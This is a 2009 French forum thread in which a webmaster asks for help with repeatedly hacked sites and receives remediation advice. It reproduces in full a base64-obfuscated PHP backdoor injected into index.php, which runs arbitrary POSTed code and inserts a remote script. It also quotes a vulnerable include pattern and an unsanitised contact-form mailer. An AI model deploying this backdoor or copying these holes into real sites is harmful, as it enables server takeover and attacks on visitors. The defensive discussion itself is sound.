Page 1 sur 3

Sécurité

Posté : 28 oct. 2009, 12:07
par cmoi
Bonjour,

3 sites sur 4 dont je m'occupe sont régulièrement visités par des pirates. Et j'y retrouve ce code dans le fichier index.php :
<?php eval(base64_decode('aWYoIWlzc2V0KCRwNmoxKSl7ZnVuY3Rpb24gcDZqKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKHByZWdfbWF0Y2goJyMgd2lkdGhccyo9XHMqW1wnIl0/MCpbMDFdW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMjluY25wbGQyRnVhV1V1Y0c5eWRHRmtZUzV3YkM5cGJtTnNkV1JsTDJsdWFYUXVjR2h3SUQ0OEwzTmpjbWx3ZEQ0PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMpO2Vsc2VpZihzdHJwb3MoJHMsJyxhJykpJHMuPSRhO3JldHVybiAkczt9ZnVuY3Rpb24gcDZqMigkYSwkYiwkYywkZCl7Z2xvYmFsICRwNmoxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRwNmoxKSljYWxsX3VzZXJfZnVuYygkcDZqMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdwNmonKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2UgJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgncDZqJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JHA2amw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ3A2ajInKSkhPSdwNmoyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>
Et dans le répertoire images, est rajouté un fichier nommé gifimg.php que j'efface régulièrement.

Le fichier index.php et le répertoire images ont un CHMOD 705. Qu'est-ce que je peux faire de plus ?
Un .htaccess ? En tenant compte du fait qu'il n'y a pas de mot de passe sur ce fichier ni ce répertoire.

Merci pour votre aide. C'est urgent !

Re: Sécurité

Posté : 28 oct. 2009, 13:04
par Ripat
Si un pirate insère du code, il est fort probable qu'il ait un accès ftp ou ssh au serveur. Une protection
htaccess ne servirait à rien. Vérifie tes log et change tous tes mdp ftp.

Si tu es sur un dédié, surveille bien tes access.log et autres auth.log.

Re: Sécurité

Posté : 28 oct. 2009, 13:30
par stopher
Pour moi , un serveur compromis de cette façon, est un serveur à réinitialisé .. ( dédié )

Même si tu trouves la faille , ou le compte piraté , tu ne seras jamais certains d'avoir éradiqué le problème .

Epluches les logs .. pour le moment il n'y a que ca à faire .

Dés que tu trouves par ou est passé le pirates , réinitialises ( réinstalles si tu le peux ) ton serveur en changeant tout les mots de passes .
Si tu as un acces ftp , sécurises les transactions en ftps afin que les logins et mots de passes ne soit pas en clair dans le trafic réseau.

Ch.

Re: Sécurité

Posté : 28 oct. 2009, 13:31
par cmoi
je suis sur un server mutualisé ovh.

je change mes mdp.

Re: Sécurité

Posté : 28 oct. 2009, 13:35
par fab
TU as accès aux logs apache? Si oui essaye de regarder les logs à la date de création de ce fichier tu as peut etre un endroit dans ton code où tu permets involontairement l'éxécution de code la faille la plus connu du genre c'est :
include($_GET['page'].'.php');

Re: Sécurité

Posté : 28 oct. 2009, 13:37
par cmoi
ce code se trouverait où ? sur ma page index.php il n'y est en tout cas pas.

Re: Sécurité

Posté : 28 oct. 2009, 13:43
par fab
Je connais pas le code de ton site :) Mais si tu répondais plutôt à la question sur les logs, c'est bien pour que tu trouves le fichier par lequel passe les pirates que je t'ai posé cette question

Re: Sécurité

Posté : 28 oct. 2009, 13:58
par stopher
Apres avoir essayé de décoder le code ,

d'apres ce je vois , le code injecté permet au pirate d'executer n'importe quel bout de code php passé en POST ...

ton site devient un terminal php ... sauf si ton fournisseur à désactivé la fonction eval()

Ch.

Re: Sécurité

Posté : 28 oct. 2009, 13:59
par cmoi
j'ai accès aux logs mais je n'y comprends rien.
un technicien ovh m'avait que ce qui posait problème était le fichier contact.php dans le répertoire images. Ce fichier ne devant pas exister, je l'ai supprimé et j'ai découvert l'autre.

Re: Sécurité

Posté : 28 oct. 2009, 14:35
par fab
Tu as beaucoup de visites? Si c'est pas le cas essaye de nous donner les logs correspondant a la date exacte de création du fichier ( à la minutes près ) si tu y comprends rien on devrait pouvoir t'aider :p

Le tech d'ovh ta indique quel fichier utilisé les pirates après t'avoir piraté mais pas comment ils t'ont piraté :p

Re: Sécurité

Posté : 28 oct. 2009, 14:57
par cmoi
voilà par exemple ce que j'ai pour aujourd'hui :

Code : Tout sélectionner

174.129.24.96 www.europole-formations.fr - [28/Oct/2009:13:46:53 +0100] "GET /images/img11.gif HTTP/1.1" 200 50 "http://www.europole-formations.fr/" "Mozilla/5.0 (X11; U; Linux; C -) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Qt/4.5.1" 174.129.24.96 www.europole-formations.fr - [28/Oct/2009:13:46:53 +0100] "GET /images/img12.gif HTTP/1.1" 200 277 "http://www.europole-formations.fr/" "Mozilla/5.0 (X11; U; Linux; C -) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Qt/4.5.1" 174.129.24.96 www.europole-formations.fr - [28/Oct/2009:13:46:53 +0100] "GET /images/img13.gif HTTP/1.1" 200 72 "http://www.europole-formations.fr/" "Mozilla/5.0 (X11; U; Linux; C -) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Qt/4.5.1"
je ne mets pas tout, le forum ne supporte pas !

Re: Sécurité

Posté : 28 oct. 2009, 15:02
par fab
Oui ça c'est aujourd'hui mais rien de bien méchant là dedans, ce qu'il faut c'est les logs à la date de création des fichiers par les pirates pour savoir par quelle page ils accèdent..

Par contre je viens de faire un tour sur le site et visiblement la porte d'entrée la plus probable c'est ta page de contacts vu que c'est la seule ou tu as l'air de demander des informations à l'utiliser et que les restes des pages ne semble pas dynamique. Tu pourrais nous montrer le code source de la validation de ton formulaire?

Re: Sécurité

Posté : 28 oct. 2009, 15:08
par cmoi
les intrusions se font tous les jours ! mais je ne peux malheureusement pas mettre tout le fichier, il est trop long pour le forum.

tout le code de la page contact ou seulement le php qui concerne le formulaire ?
ceci dit il y a du php sur toutes les pages, si c'est important ??

Re: Sécurité

Posté : 28 oct. 2009, 15:09
par fab
Le code php de la validation du formulaire :)

Re: Sécurité

Posté : 28 oct. 2009, 15:11
par cmoi
<?php
$email_dest = "[email protected]";
if ($_POST['envoi']) { 
header("Location: http://www.europole-formations.fr/merci.php");
// E- mail headers: 
$headers ="MIME-Version: 1.0 \n";
$headers .="From: Europole Formations<[email protected]>\n";
$headers .="Content-Type: text/html; charset=iso-8859-1 \n"; 
$subject = "votre message";
$partie_entete = "<html><head> 
<meta http-equiv=Content-Type content=text/html; charset=iso-8859-1>
</head>
<body bgcolor=#FFFFFF>";
$partie_radiobutton = ""; 
$partie_champs_texte = ""; 
for ($a=1; $a<= $_POST['nbre_radiobutton']; $a++) { 
$partie_radiobutton .= "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_radio'.$a] . " = " . $_POST['radio'.$a] . "</font> <br>
";
}
for ($a=1; $a<= $_POST['nbre_champs_texte']; $a++) {
$partie_champs_texte .= "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_champ'.$a] . " = " . $_POST['champ'.$a] . "</font><br>
";
}
if ($_POST['nbre_zone_email'] != 0) { 
$partie_zone_email = "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_email'] . " = " . $_POST['zone_email'] . "</font><br>
";
}
if ($_POST['nbre_zones_texte'] != 0) {
$partie_zone_texte = "<font face='Verdana' size='2' color='#003366'>" . $_POST['titre_zone'] . " = " . $_POST['zone_texte'] . "</font><br>
";
$partie_zone_texte = stripslashes($partie_zone_texte);
}
$fin = "</body></html>"; 
$sortie = $partie_entete . $partie_radiobutton . $partie_champs_texte . $partie_zone_email . $partie_zone_texte . $fin; 
// Send the e-mail 
if (@!mail($email_dest,$subject,$sortie,$headers)) {
echo("Envoi du formulaire impossible");
} // Closing if !mail... 
} // Closing if edit 
?>